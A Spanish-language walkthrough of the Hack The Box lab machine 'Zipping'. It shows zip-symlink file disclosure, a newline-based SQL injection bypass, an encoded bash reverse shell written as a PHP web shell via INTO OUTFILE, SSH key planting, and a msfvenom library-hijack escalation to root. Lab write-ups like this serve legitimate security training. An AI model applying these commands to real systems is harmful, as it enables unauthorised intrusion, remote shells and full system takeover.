Description

Zipping es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Inyección SQL en aplicación web permitiendo leer código fuente y escritura de archivos
  • Enumeración de código fuente lleva a la descubrimiento de una vulnerabilidad de Inclusión de Archivos Locales
  • Vulnerabilidades anteriores permiten Ejecución de Comando Remoto
  • Escalada de Privilegios a través de una biblioteca maliciosa cargada desde un binario permitido ejecutar con SUDO

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.229.

$ ping -c 3 10.10.11.229
PING 10.10.11.229 (10.10.11.229) 56(84) bytes of data.
64 bytes from 10.10.11.229: icmp_seq=1 ttl=63 time=43.7 ms
64 bytes from 10.10.11.229: icmp_seq=2 ttl=63 time=42.8 ms
64 bytes from 10.10.11.229: icmp_seq=3 ttl=63 time=43.5 ms

--- 10.10.11.229 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 42.775/43.329/43.736/0.405 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN con Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.10.11.229 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.229
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versiones de servicios y scripts.

$ nmap 10.10.11.229 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.229
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.74 seconds

Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio zipping.htb al archivo /etc/hosts.

$ echo '10.10.11.229 zipping.htb' | sudo tee -a /etc/hosts

En el servicio web encontramos una Tienda de Relojes, en la cual si hacemos clic en el botón Work with Us, podemos subir un archivo. El archivo se envía mediante una solicitud HTTP POST al endpoint upload.php con un tipo de contenido multi-part y el contenido del archivo .zip como parámetro zipFile. Podemos subir solo archivos .zip que contengan un archivo .pdf dentro. Después de subir un archivo de prueba, encontramos que el archivo .pdf se sube en el directorio /uploads/<string_hexadecimal>/<nombre_del_pdf>.pdf. Dentro de los archivos .zip se permiten enlaces simbólicos, por lo que podemos intentar subir como prueba de concepto un enlace simbólico que apunte al archivo /etc/passwd para ver si se muestra.

$ ln -s /etc/passwd passwd.pdf
$ zip --symlinks passwd.zip passwd.pdf

Explotación

De hecho la vulnerabilidad está funcionando y el archivo /etc/passwd se muestra, con dos usuarios de terminal: root y rektsu.

$ curl -s http://zipping.htb/uploads/10b01ae24e213fe106c75bbe4df4a5f8/passwd.pdf | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash

Enumerando el contenido del sitio web encontramos la tienda en el enlace /shop. El archivo .php utilizado en esta página es index.php y para un producto se utiliza el enlace /shop/index.php?page=product&id=2. Vamos a recuperar el contenido del archivo index.php utilizando la vulnerabilidad anterior y asumiendo que la raíz del sitio web de la tienda está en el directorio /var/www/html/shop, ya que el servidor es Apache2.

$ ln -s /var/www/html/shop/index.php index.pdf
$ zip --symlinks index.zip index.pdf
$ curl -s http://zipping.htb/uploads/0f60ea65aa46390f64a9c3a2fbb5cd86/index.pdf
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

Encontramos que index.php está tomando el parámetro page y está incluyendo en la página web el archivo <page_parameter>.php. Esto sería vulnerable a Inclusión de Archivo Local y luego a la vulnerabilidad de Ejecución de Comando Remoto si pudiéramos subir archivos .php arbitrarios. Podemos enumerar el archivo product.php.

$ ln -s /var/www/html/shop/product.php product.pdf
$ zip --symlinks product.zip product.pdf
$ curl -s http://zipping.htb/uploads/207bfdc2afa8ee47fe7be9f6b5b47423/product.pdf                                                                     
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>
...

Revisando el código fuente, encontramos claramente una consulta SQL vulnerable a inyección SQL, dentro del parámetro id. Pero se realiza una comprobación utilizando una expresión regular (preg_match) para evitarlo. El alcance de la función es solo comprobar una línea, por lo que si introducimos varias líneas en el parámetro, por ejemplo utilizando saltos de línea (%0a), esta comprobación se evita. Comprobamos que al final de la expresión regular hay un número, por lo que necesitamos usarlo al final de la consulta inyectada. Para explotar la vulnerabilidad podemos usar la herramienta sqlmap con las opciones --prefix y --suffix. Necesitamos usar los símbolos ' para cerrar las consultas.

$ sqlmap -u 'http://zipping.htb/shop/index.php?page=product&id=1' -p id --prefix "%0a'" --suffix "'-- 1" --level 2
...
[INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable
...
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
...
sqlmap identified the following injection point(s) with a total of 162 HTTP(s) requests:
---
Parameter: id (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: page=product&id=1
';SELECT SLEEP(5)'-- 1
---
...

Podemos usar esta vulnerabilidad para enumerar el usuario que está ejecutando la base de datos.

$ sqlmap -u 'http://zipping.htb/shop/index.php?page=product&id=1' -p id --prefix "%0a'" --suffix "'-- 1" --level 2 --current-user
...
current user: 'root@localhost'
...

Encontramos que el usuario MySQL que está ejecutando la base de datos es root, esto significa que podemos intentar si podemos subir un archivo para obtener Ejecución de Comando Remoto. Para ejecutar comandos SQL podemos usar la opción --sql-shell. Sabemos que MySQL tiene permisos de escritura en el directorio /var/lib/mysql/. Vamos a agregar el valor %00 al nombre del archivo para no agregar la parte del sufijo de la consulta.

$ sqlmap -u 'http://zipping.htb/shop/index.php?page=product&id=1' -p id --prefix "%0a'" --suffix "'-- 1" --level 2 --sql-shell

sql-shell> select '<?php system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzEyMzQgMD4mMQ==|base64 -d|bash"); ?>' INTO OUTFILE '/var/lib/mysql/shell.php%00';

Ahora podemos activar la vulnerabilidad LFI+RCE que descubrimos anteriormente.

$ nc -nvlp 1234
$ curl http://zipping.htb/shop/index.php?page=/var/lib/mysql/shell

Recibimos una terminal inversa como el usuario rektsu, actualizamos la shell.

$ nc -nvlp 1234                                        
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.229] 52352
bash: cannot set terminal process group (1131): Inappropriate ioctl for device
bash: no job control in this shell
rektsu@zipping:/var/www/html/shop$ id
id
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
rektsu@zipping:/var/www/html/shop$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
rektsu@zipping:/var/www/html/shop$ ^Z
$ stty raw -echo; fg
$ reset xterm
rektsu@zipping:/var/www/html/shop$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos que rektsu puede ejecutar un comando como usuario root, /usr/bin/stock.

rektsu@zipping:/var/www/html/shop$ cd /home/rektsu
rektsu@zipping:/home/rektsu$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

Es un archivo binario.

rektsu@zipping:/home/rektsu$ file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped

Vamos a crear una clave SSH para poder spawnar una terminal estable y recuperar este archivo binario utilizando SCP. En nuestra máquina:

$ ssh-keygen -t rsa -b 1024 -f id_rsa
$ cat id_rsa.pub                                                                 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDMKVeDl8lr1+23s4Jj3llfUS8driDqp8BSTgvE5ZPXin84d75m8nt+RUGLbq2Y9TnnOnCOfm6laTN9s8dohw0eKLoRfSIe4kLViEgEpKkrjzGY5p6BlpSZ62ZfJe+mmuqYERnOFp7xZs6OumJN9Cv2FsHrFTtMeXOE9HscpVuLSQ== user@localhost

En la máquina remota:

rektsu@zipping:/home/rektsu$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDMKVeDl8lr1+23s4Jj3llfUS8driDqp8BSTgvE5ZPXin84d75m8nt+RUGLbq2Y9TnnOnCOfm6laTN9s8dohw0eKLoRfSIe4kLViEgEpKkrjzGY5p6BlpSZ62ZfJe+mmuqYERnOFp7xZs6OumJN9Cv2FsHrFTtMeXOE9HscpVuLSQ== user@localhost' >> /home/rektsu/.ssh/authorized_keys

Recuperamos el archivo.

$ scp -i id_rsa rektsu@zipping.htb:/usr/bin/stock .

Cuando ejecutamos el archivo, está solicitando una contraseña.

rektsu@zipping:/home/rektsu$ sudo /usr/bin/stock 
Enter the password: 12345
Invalid password, please try again.

Al ejecutar un análisis simple de strings encontramos que la contraseña es St0ckM4nager.

$ strings stock                                                                                                               
/lib64/ld-linux-x86-64.so.2
...
Hakaize
St0ckM4nager

Con el programa, somos capaces de ver y editar el inventario.

rektsu@zipping:/home/rektsu$ sudo /usr/bin/stock 
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 1

================== Stock Actual ==================

Colour     Black   Gold    Silver
Amount     4       15      5      

Quality   Excelent Average Poor
Amount    4         15      5   

Exclusive Yes    No
Amount    4      19  

Warranty  Yes    No
Amount    4      19  


================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Con el programa strace podemos rastrear las llamadas al sistema que el programa está realizando cuando está en ejecución.

rektsu@zipping:/home/rektsu$ strace /usr/bin/stock
...
write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024)         = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...

Encontramos que está intentando cargar la biblioteca /home/rektsu/.config/libcounter.so cuando se ejecuta, pero no se encuentra en el sistema. Podemos utilizar esto para crear una biblioteca maliciosa .so que el programa ejecutará para crear un binario Bash SUID y ganar permisos completos sobre el sistema. Comenzamos creando la biblioteca y subiendo la biblioteca maliciosa al sistema.

$ msfvenom -p linux/x64/exec CMD='cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash' -f elf-so > libcounter.so
$ scp -i id_rsa libcounter.so rektsu@zipping.htb:/home/rektsu/.config/libcounter.so

Entonces podemos volver a ejecutar el binario en el sistema remoto y se creará el binario Bash y podremos desplegar una terminal root.

rektsu@zipping:~$ sudo /usr/bin/stock 
Enter the password: St0ckM4nager
rektsu@zipping:~$ ls -l /tmp/suid-bash
-rwsr-xr-x 1 root root 1433736 /tmp/suid-bash
rektsu@zipping:~$ /tmp/suid-bash -p
suid-bash-5.2# id
uid=1001(rektsu) gid=1001(rektsu) euid=0(root) groups=1001(rektsu)

Flags

En la terminal root podemos recuperar el contenido de los archivos user.txt y root.txt.

suid-bash-5.2# cat /home/rektsu/user.txt 
2246198d31032be44dace70a959ff8e9
suid-bash-5.2# cat /root/root.txt 
17b1efc55145a5bead5d9678c8a3bb1b